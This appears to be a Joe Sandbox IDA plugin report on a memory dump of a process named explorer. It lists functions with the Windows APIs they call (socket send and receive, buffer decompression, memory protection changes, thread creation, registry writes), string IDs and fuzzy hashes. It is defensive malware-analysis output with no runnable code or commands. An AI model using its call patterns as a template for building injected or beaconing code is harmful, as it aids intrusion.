Associated: 00000003.00000002.3291546585.00000000011F9000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291611655.00000000011FD000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1190000_explorer.jbxd

Yara matches

Similarity

API ID: CloseCreateHandleThread$EventObjectResumeSingleWait
String ID: d
API String ID: 3200977696-2564639436
Opcode ID: f5302871f297c8678636ad51d7a76881c1e65371eb42b55c65bece8cb42385e9
Instruction ID: 9e3456078538e8073800b569bd55db4b3f06893d537e89dd84aecfebfda5dcd6
Opcode Fuzzy Hash: f5302871f297c8678636ad51d7a76881c1e65371eb42b55c65bece8cb42385e9
Instruction Fuzzy Hash: F831A736218B8486DB58DB1AF49439AB7B0F3C9B94F115126EB9E43B68CF7DC495CB00

Function 0119DCB0 Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 64COMMON

Download Yara Rule

APIs

setsockopt.WS2_32 ref: 0119DD60
OpenEventW.KERNEL32 ref: 0119DDBE
SetEvent.KERNEL32 ref: 0119DDDF
CloseHandle.KERNEL32 ref: 0119DDED
shutdown.WS2_32 ref: 0119DDFD
closesocket.WS2_32 ref: 0119DE08

Part of subcall function 0119FBA0: CreateDirectoryW.KERNEL32 ref: 0119FBD8
Part of subcall function 0119FBA0: GetLastError.KERNEL32 ref: 0119FBE3
Part of subcall function 0119FBA0: LocalAlloc.KERNEL32 ref: 0119FBFE
Part of subcall function 0119FBA0: CreateFileW.KERNEL32 ref: 0119FC6E
Part of subcall function 0119FBA0: GetLastError.KERNEL32 ref: 0119FC79
Part of subcall function 0119FBA0: LocalFree.KERNEL32 ref: 0119FD16
Part of subcall function 0119FBA0: LocalFree.KERNEL32 ref: 0119FD21

Strings

{29C72B9F-C97F-4A3E-B2AD-47E00C9D4930}, xrefs: 0119DDB0

Memory Dump Source

Source File: 00000003.00000002.3291508536.0000000001191000.00000020.00001000.00020000.00000000.sdmp, Offset: 01190000, based on PE: true

Associated: 00000003.00000002.3291495277.0000000001190000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291531649.00000000011C8000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011D4000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011ED000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011EF000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011F3000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011F9000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291611655.00000000011FD000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1190000_explorer.jbxd

Yara matches

Similarity

API ID: Local$CreateErrorEventFreeLast$AllocCloseDirectoryFileHandleOpenclosesocketsetsockoptshutdown
String ID: {29C72B9F-C97F-4A3E-B2AD-47E00C9D4930}
API String ID: 1185697187-2411808274
Opcode ID: 2bdff3738b774a56051df30cc75428fcdc530801698b2222cc13ded8fef0f17c
Instruction ID: 1693062237fcc11b2b4484266db393d63e6f3da38c4c380940d4fb30fdf901a2
Opcode Fuzzy Hash: 2bdff3738b774a56051df30cc75428fcdc530801698b2222cc13ded8fef0f17c
Instruction Fuzzy Hash: 6E31EA36209B8486EB64DF95F8443DAB7A0F788794F504126EB9D87BA8DF7CC049CB40

Function 011941D0 Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 56synchronizationCOMMON

Download Yara Rule

APIs

WaitForSingleObject.KERNEL32 ref: 011941E5
OpenEventW.KERNEL32 ref: 0119423C
SetEvent.KERNEL32 ref: 01194254
CloseHandle.KERNEL32 ref: 0119425F
SetEvent.KERNEL32 ref: 01194299
ResetEvent.KERNEL32 ref: 011942BE

Strings

{29C72B9F-C97F-4A3E-B2AD-47E00C9D4930}, xrefs: 0119422E

Memory Dump Source

Source File: 00000003.00000002.3291508536.0000000001191000.00000020.00001000.00020000.00000000.sdmp, Offset: 01190000, based on PE: true

Associated: 00000003.00000002.3291495277.0000000001190000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291531649.00000000011C8000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011D4000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011ED000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011EF000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011F3000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011F9000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291611655.00000000011FD000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1190000_explorer.jbxd

Yara matches

Similarity

API ID: Event$CloseHandleObjectOpenResetSingleWait
String ID: {29C72B9F-C97F-4A3E-B2AD-47E00C9D4930}
API String ID: 1560999653-2411808274
Opcode ID: 2294103b1f4efe47382a228110117bf86dd9773aad3f9980b1010b855fc37aac
Instruction ID: b659229e123ca56a926033ae2fd00f2db8613f540a98fc46b1e69d6a38f4cc90
Opcode Fuzzy Hash: 2294103b1f4efe47382a228110117bf86dd9773aad3f9980b1010b855fc37aac
Instruction Fuzzy Hash: B1210E30908610C6EF3DAB64FB443E977E0F7C6759F54026AD65A419A5CF3CC19BCA05

Function 01194570 Relevance: 12.3, APIs: 4, Strings: 3, Instructions: 50registryCOMMON

Download Yara Rule

APIs

Part of subcall function 011B84A8: _errno.LIBCMT ref: 011B84DF
Part of subcall function 011B84A8: _invalid_parameter_noinfo.LIBCMT ref: 011B84EA

RegCreateKeyExW.ADVAPI32 ref: 011945F4
RegSetValueExW.ADVAPI32 ref: 0119462B
RegCloseKey.ADVAPI32 ref: 0119463A
RegCloseKey.ADVAPI32 ref: 0119464C

Strings

?, xrefs: 011945D2
{7EE6EBB8-7FBC-4C3E-AAB8-F5FE9571F428}, xrefs: 01194599, 0119461F
SOFTWARE\%s, xrefs: 011945A0

Memory Dump Source

Source File: 00000003.00000002.3291508536.0000000001191000.00000020.00001000.00020000.00000000.sdmp, Offset: 01190000, based on PE: true

Associated: 00000003.00000002.3291495277.0000000001190000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291531649.00000000011C8000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011D4000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011ED000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011EF000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011F3000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011F9000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291611655.00000000011FD000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1190000_explorer.jbxd

Yara matches

Similarity

API ID: Close$CreateValue_errno_invalid_parameter_noinfo
String ID: ?$SOFTWARE\%s${7EE6EBB8-7FBC-4C3E-AAB8-F5FE9571F428}
API String ID: 3235468379-2136347929
Opcode ID: 1ba05bfe231b7bc14a5afd147c891102e6ae11a47e7b12bdb5d6c95cd2a4b907
Instruction ID: bd4bc66aab6b6eaef74717b15adfa0123d7093f60c826be3b68153a40338b892
Opcode Fuzzy Hash: 1ba05bfe231b7bc14a5afd147c891102e6ae11a47e7b12bdb5d6c95cd2a4b907
Instruction Fuzzy Hash: 15211A72218B8486EB64DF25F89479AB7A1F784794F804126AA9983B68DFBCC145CB40

Function 011A3DE0 Relevance: 12.2, APIs: 8, Instructions: 188memoryCOMMON

Download Yara Rule

APIs

setsockopt.WS2_32 ref: 011A3E95
LocalAlloc.KERNEL32 ref: 011A4002

Part of subcall function 011B4870: WSACreateEvent.WS2_32 ref: 011B4909

LocalAlloc.KERNEL32 ref: 011A4080
RtlDecompressBuffer.NTDLL ref: 011A40D1
LocalFree.KERNEL32 ref: 011A414E

Part of subcall function 011A6520: LocalFree.KERNEL32 ref: 011A659C
Part of subcall function 011A6520: LocalFree.KERNEL32 ref: 011A65AF
Part of subcall function 011A6520: LocalAlloc.KERNEL32 ref: 011A6607
Part of subcall function 011A6520: LocalAlloc.KERNEL32 ref: 011A6628
Part of subcall function 011A6520: lstrcpyW.KERNEL32 ref: 011A6660
Part of subcall function 011A6520: lstrcpyW.KERNEL32 ref: 011A6679
Part of subcall function 011A6520: lstrcpyW.KERNEL32 ref: 011A6692

LocalFree.KERNEL32 ref: 011A4167
shutdown.WS2_32 ref: 011A420D
closesocket.WS2_32 ref: 011A4218

Part of subcall function 011B4DC0: Concurrency::details::platform::__ChangeTimerQueueTimer.LIBCMTD ref: 011B4DFF

Part of subcall function 011B4870: Concurrency::details::platform::__ChangeTimerQueueTimer.LIBCMTD ref: 011B48AF

Memory Dump Source

Source File: 00000003.00000002.3291508536.0000000001191000.00000020.00001000.00020000.00000000.sdmp, Offset: 01190000, based on PE: true

Associated: 00000003.00000002.3291495277.0000000001190000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291531649.00000000011C8000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011D4000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011ED000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011EF000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011F3000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011F9000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291611655.00000000011FD000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1190000_explorer.jbxd

Yara matches

Similarity

API ID: Local$AllocFreeTimer$lstrcpy$ChangeConcurrency::details::platform::__Queue$BufferCreateDecompressEventclosesocketsetsockoptshutdown
String ID:
API String ID: 3399760138-0
Opcode ID: 0a80d5ac3141bfa836ddd80b6f3969d78254eaf35f97484459d60846b02bd736
Instruction ID: 341b75e13a13b646204805375c6c185e7f4414a9c0a5d19133074d846fc7ca2e
Opcode Fuzzy Hash: 0a80d5ac3141bfa836ddd80b6f3969d78254eaf35f97484459d60846b02bd736
Instruction Fuzzy Hash: 17A1D776208B818AD774DB14E44479ABBA4F389794F504225EBDD83FA9EBBCD184CF40

Function 011B4470 Relevance: 12.1, APIs: 8, Instructions: 99timememorynetworkCOMMON

Download Yara Rule

APIs

LocalAlloc.KERNEL32 ref: 011B44D2
htons.WS2_32 ref: 011B44FF
wsprintfA.USER32 ref: 011B4534

Part of subcall function 011B4750: WSACreateEvent.WS2_32 ref: 011B4768
Part of subcall function 011B4750: WSAEventSelect.WS2_32 ref: 011B478F
Part of subcall function 011B4750: WSAWaitForMultipleEvents.WS2_32(?,?,?,?,?,?,?,?,?,?,?,?,?,011B455A), ref: 011B47E4
Part of subcall function 011B4750: WSACloseEvent.WS2_32(?,?,?,?,?,?,?,?,?,?,?,?,?,011B455A), ref: 011B47F3

Concurrency::details::platform::__ChangeTimerQueueTimer.LIBCMTD ref: 011B4578

Part of subcall function 011B34E0: send.WS2_32 ref: 011B350C

Part of subcall function 011B4630: WSACreateEvent.WS2_32 ref: 011B4648
Part of subcall function 011B4630: WSAEventSelect.WS2_32 ref: 011B466F
Part of subcall function 011B4630: WSAWaitForMultipleEvents.WS2_32(?,?,?,?,?,?,?,?,?,?,?,?,?,011B45A0), ref: 011B46C4
Part of subcall function 011B4630: WSACloseEvent.WS2_32(?,?,?,?,?,?,?,?,?,?,?,?,?,011B45A0), ref: 011B46D3

Concurrency::details::platform::__ChangeTimerQueueTimer.LIBCMTD ref: 011B45BB

Part of subcall function 011B34A0: recv.WS2_32 ref: 011B34CC

und_memcpy.LIBCMTD ref: 011B45F9
LocalFree.KERNEL32 ref: 011B4603
LocalFree.KERNEL32 ref: 011B4612

Memory Dump Source

Source File: 00000003.00000002.3291508536.0000000001191000.00000020.00001000.00020000.00000000.sdmp, Offset: 01190000, based on PE: true

Associated: 00000003.00000002.3291495277.0000000001190000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291531649.00000000011C8000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011D4000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011ED000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011EF000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011F3000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011F9000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291611655.00000000011FD000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1190000_explorer.jbxd

Yara matches

Similarity

API ID: Event$Timer$Local$ChangeCloseConcurrency::details::platform::__CreateEventsFreeMultipleQueueSelectWait$Allochtonsrecvsendund_memcpywsprintf
String ID:
API String ID: 3834521385-0
Opcode ID: ca480580499e125196a7ef1158afeadfd1568d2c42ac1e082b87a86da38a7eca
Instruction ID: 1acdfb9501472de9bc10875d974a7625c88dcc1589e97aea7a55f76424abf124
Opcode Fuzzy Hash: ca480580499e125196a7ef1158afeadfd1568d2c42ac1e082b87a86da38a7eca
Instruction Fuzzy Hash: 3941A576618B84C6CB549B1AE4C075ABBB0F789B94F509116EF8E83B29CB3DC485CF00

Function 011C0BAC Relevance: 12.1, APIs: 8, Instructions: 59COMMONLIBRARYCODE

Download Yara Rule

APIs

_FF_MSGBANNER.LIBCMT ref: 011C0BD3

Part of subcall function 011BEC1C: _set_error_mode.LIBCMT ref: 011BEC25
Part of subcall function 011BEC1C: _set_error_mode.LIBCMT ref: 011BEC34

Part of subcall function 011BE9BC: _set_error_mode.LIBCMT ref: 011BEA01
Part of subcall function 011BE9BC: _set_error_mode.LIBCMT ref: 011BEA12
Part of subcall function 011BE9BC: GetModuleFileNameW.KERNEL32 ref: 011BEA74

Part of subcall function 011BE60C: ExitProcess.KERNEL32 ref: 011BE61B

Part of subcall function 011C06CC: malloc.LIBCMT ref: 011C06F7
Part of subcall function 011C06CC: Sleep.KERNEL32(?,?,00000000,011C0C0D,?,?,?,011C0CB7,?,?,00000000,011BACB5,?,?,00000000,011BAD6C), ref: 011C070A

_errno.LIBCMT ref: 011C0C15
_lock.LIBCMT ref: 011C0C29
InitializeCriticalSectionAndSpinCount.KERNEL32(?,?,?,011C0CB7,?,?,00000000,011BACB5,?,?,00000000,011BAD6C,?,?,00000000,011BADA3), ref: 011C0C3F
free.LIBCMT ref: 011C0C4C
_errno.LIBCMT ref: 011C0C51
LeaveCriticalSection.KERNEL32(?,?,?,011C0CB7,?,?,00000000,011BACB5,?,?,00000000,011BAD6C,?,?,00000000,011BADA3), ref: 011C0C74

Memory Dump Source

Source File: 00000003.00000002.3291508536.0000000001191000.00000020.00001000.00020000.00000000.sdmp, Offset: 01190000, based on PE: true

Associated: 00000003.00000002.3291495277.0000000001190000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291531649.00000000011C8000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011D4000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011ED000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011EF000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011F3000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011F9000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291611655.00000000011FD000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1190000_explorer.jbxd

Yara matches

Similarity

API ID: _set_error_mode$CriticalSection_errno$CountExitFileInitializeLeaveModuleNameProcessSleepSpin_lockfreemalloc
String ID:
API String ID: 113790786-0
Opcode ID: 2f8944b12a80035ce86664f26001b78c40556f4495f1295f9827a06761f7b46b
Instruction ID: a1b3bd9c0c8f8e7d7a9f540d7fcd6ea15c77c7413c6630d92483a207a7e28089
Opcode Fuzzy Hash: 2f8944b12a80035ce86664f26001b78c40556f4495f1295f9827a06761f7b46b
Instruction Fuzzy Hash: 7F21C439A05742C2E72DAF25E8D47AA7364FBA8F88F05543DEA4A47790CF3CD4408359

Function 011B0670 Relevance: 10.7, APIs: 7, Instructions: 201memoryCOMMON

Download Yara Rule

APIs

LocalAlloc.KERNEL32 ref: 011B06BF
und_memcpy.LIBCMTD ref: 011B06F2
und_memcpy.LIBCMTD ref: 011B0718
und_memcpy.LIBCMTD ref: 011B0756
VirtualProtect.KERNEL32(?,?), ref: 011B09B5
LocalFree.KERNEL32 ref: 011B0AA0

Memory Dump Source

Source File: 00000003.00000002.3291508536.0000000001191000.00000020.00001000.00020000.00000000.sdmp, Offset: 01190000, based on PE: true

Associated: 00000003.00000002.3291495277.0000000001190000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291531649.00000000011C8000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011D4000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011ED000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011EF000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011F3000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011F9000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291611655.00000000011FD000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1190000_explorer.jbxd

Yara matches

Similarity

API ID: und_memcpy$Local$AllocFreeProtectVirtual
String ID:
API String ID: 3065580769-0
Opcode ID: 8bb7e0b0bc2b2b624155ecf4ed186a6d852528b2306715bfc9ae6f26d54f369d
Instruction ID: 0f494a1c8e0717b1cc79b406c34357a9b7b6dfd9a861492963b8df979e0d3008
Opcode Fuzzy Hash: 8bb7e0b0bc2b2b624155ecf4ed186a6d852528b2306715bfc9ae6f26d54f369d
Instruction Fuzzy Hash: 38A1BB7660A6C19BE7B5CB19E5917EBB7A0E7C9340F008025EBC98BB58EB3CD5448F41

Function 011BF398 Relevance: 10.7, APIs: 7, Instructions: 184COMMON

Download Yara Rule

APIs

GetStartupInfoW.KERNEL32 ref: 011BF3B9

Part of subcall function 011C074C: Sleep.KERNEL32(?,?,00000000,011BAD47,?,?,00000000,011BADA3,?,?,?,011B9533,?,?,00000000,011B9D8B), ref: 011C0791

GetFileType.KERNEL32 ref: 011BF524
InitializeCriticalSectionAndSpinCount.KERNEL32 ref: 011BF562

Memory Dump Source

Source File: 00000003.00000002.3291508536.0000000001191000.00000020.00001000.00020000.00000000.sdmp, Offset: 01190000, based on PE: true

Associated: 00000003.00000002.3291495277.0000000001190000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291531649.00000000011C8000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011D4000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011ED000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011EF000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011F3000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011F9000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291611655.00000000011FD000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1190000_explorer.jbxd

Yara matches

Similarity

API ID: CountCriticalFileInfoInitializeSectionSleepSpinStartupType
String ID:
API String ID: 3473179607-0
Opcode ID: f64f8010170075157073f0d416bcd48fd15ffc51d2c9a4094638c0bc8e013f0e
Instruction ID: 839613e853f535cae55fd132cfee3902839586250a93ea6002e33ae9fde01b3e
Opcode Fuzzy Hash: f64f8010170075157073f0d416bcd48fd15ffc51d2c9a4094638c0bc8e013f0e
Instruction Fuzzy Hash: A0818F72301B8686EB189F29D8847997BA1F744B78F588329CB7A433E5EB38C056C745

Function 011A3AE0 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 148synchronizationCOMMON

Download Yara Rule

APIs

SetEvent.KERNEL32 ref: 011A3B8F
WaitForSingleObject.KERNEL32 ref: 011A3BEF
CloseHandle.KERNEL32 ref: 011A3C1C
CloseHandle.KERNEL32 ref: 011A3C9E

Strings

d, xrefs: 011A3B33

Memory Dump Source

Source File: 00000003.00000002.3291508536.0000000001191000.00000020.00001000.00020000.00000000.sdmp, Offset: 01190000, based on PE: true

Associated: 00000003.00000002.3291495277.0000000001190000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291531649.00000000011C8000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011D4000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011ED000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011EF000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011F3000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011F9000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291611655.00000000011FD000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1190000_explorer.jbxd

Yara matches

Similarity

API ID: CloseHandle$EventObjectSingleWait
String ID: d
API String ID: 2857295742-2564639436
Opcode ID: 4558024651b9797c860b064116df33477591bce0c340a5d85cdc73ea92fb8f89
Instruction ID: 0806d30361654aa8c215e91f87c97c43e55fea07dbf0837f3591a42228cb07f7
Opcode Fuzzy Hash: 4558024651b9797c860b064116df33477591bce0c340a5d85cdc73ea92fb8f89
Instruction Fuzzy Hash: 9B71EE32305A4081EF78DB09F4D53B5A7A1F7E8709F911626A64E867B4EF3CC256C704

Function 011B42E0 Relevance: 10.6, APIs: 7, Instructions: 92timememorynetworkCOMMON

Download Yara Rule

APIs

LocalAlloc.KERNEL32 ref: 011B4340
htons.WS2_32 ref: 011B436D

Part of subcall function 011B4750: WSACreateEvent.WS2_32 ref: 011B4768
Part of subcall function 011B4750: WSAEventSelect.WS2_32 ref: 011B478F
Part of subcall function 011B4750: WSAWaitForMultipleEvents.WS2_32(?,?,?,?,?,?,?,?,?,?,?,?,?,011B455A), ref: 011B47E4
Part of subcall function 011B4750: WSACloseEvent.WS2_32(?,?,?,?,?,?,?,?,?,?,?,?,?,011B455A), ref: 011B47F3

Concurrency::details::platform::__ChangeTimerQueueTimer.LIBCMTD ref: 011B43C0

Part of subcall function 011B34E0: send.WS2_32 ref: 011B350C

Part of subcall function 011B4630: WSACreateEvent.WS2_32 ref: 011B4648
Part of subcall function 011B4630: WSAEventSelect.WS2_32 ref: 011B466F
Part of subcall function 011B4630: WSAWaitForMultipleEvents.WS2_32(?,?,?,?,?,?,?,?,?,?,?,?,?,011B45A0), ref: 011B46C4
Part of subcall function 011B4630: WSACloseEvent.WS2_32(?,?,?,?,?,?,?,?,?,?,?,?,?,011B45A0), ref: 011B46D3

Concurrency::details::platform::__ChangeTimerQueueTimer.LIBCMTD ref: 011B4405

Part of subcall function 011B34A0: recv.WS2_32 ref: 011B34CC

und_memcpy.LIBCMTD ref: 011B4443
LocalFree.KERNEL32 ref: 011B444D
LocalFree.KERNEL32 ref: 011B445C

Memory Dump Source

Source File: 00000003.00000002.3291508536.0000000001191000.00000020.00001000.00020000.00000000.sdmp, Offset: 01190000, based on PE: true

Associated: 00000003.00000002.3291495277.0000000001190000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291531649.00000000011C8000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011D4000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011ED000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011EF000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011F3000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011F9000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291611655.00000000011FD000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1190000_explorer.jbxd

Yara matches

Similarity

API ID: Event$Timer$Local$ChangeCloseConcurrency::details::platform::__CreateEventsFreeMultipleQueueSelectWait$Allochtonsrecvsendund_memcpy
String ID:
API String ID: 2815282806-0
Opcode ID: d1bf51ab6c0d8116abc62b867c138b0cedf2298b0cd6c7900fbeb20330e2b05e
Instruction ID: 228911cedea9635adc36bd39225d89dbdb223c3200418ba48bf7f1e26822d9f3
Opcode Fuzzy Hash: d1bf51ab6c0d8116abc62b867c138b0cedf2298b0cd6c7900fbeb20330e2b05e
Instruction Fuzzy Hash: 6541B77A618B8486CB54DB1AE48075ABBB0F7C9B94F508016EF9E43B69CB3EC445CF00

Function 011B2E9C Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 71threadsynchronizationCOMMON

Download Yara Rule

APIs

CloseHandle.KERNEL32 ref: 011B2F2B
CloseHandle.KERNEL32 ref: 011B2F5C
CreateEventW.KERNEL32 ref: 011B2F7F
CreateThread.KERNEL32 ref: 011B2FBE
ResumeThread.KERNEL32 ref: 011B301B
WaitForSingleObject.KERNEL32 ref: 011B308F
CloseHandle.KERNEL32 ref: 011B30C9
CloseHandle.KERNEL32 ref: 011B30FA
CreateEventW.KERNEL32 ref: 011B311D
CreateThread.KERNEL32 ref: 011B315C
ResumeThread.KERNEL32 ref: 011B31B9

Strings

d, xrefs: 011B2EAC

Memory Dump Source

Source File: 00000003.00000002.3291508536.0000000001191000.00000020.00001000.00020000.00000000.sdmp, Offset: 01190000, based on PE: true

Associated: 00000003.00000002.3291495277.0000000001190000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291531649.00000000011C8000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011D4000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011ED000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011EF000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011F3000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011F9000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291611655.00000000011FD000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1190000_explorer.jbxd

Yara matches

Similarity

API ID: CloseCreateHandleThread$EventResume$ObjectSingleWait
String ID: d
API String ID: 738346648-2564639436
Opcode ID: 5d8e8d8922dab83100b61e2e3f350e8ac7584528af8499e656fb4ee1fa77a34e
Instruction ID: 0ba83c117a0664a4a3288885afb4f4ccc7efef25bac3cbd2a1d0ab1661142d75
Opcode Fuzzy Hash: 5d8e8d8922dab83100b61e2e3f350e8ac7584528af8499e656fb4ee1fa77a34e
Instruction Fuzzy Hash: F241A536208BC4C5DB78CB19F48439AB7A0F7C9B84F41412ADA9E47B68CF78C495CB41

Function 011BF880 Relevance: 10.6, APIs: 7, Instructions: 67COMMONLIBRARYCODE

Download Yara Rule

APIs

__doserrno.LIBCMT ref: 011BF8A3
_errno.LIBCMT ref: 011BF8AB

Memory Dump Source

Source File: 00000003.00000002.3291508536.0000000001191000.00000020.00001000.00020000.00000000.sdmp, Offset: 01190000, based on PE: true

Associated: 00000003.00000002.3291495277.0000000001190000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291531649.00000000011C8000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011D4000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011ED000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011EF000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011F3000.00000004.00001000.00020000.00000000.sdmpDownload File
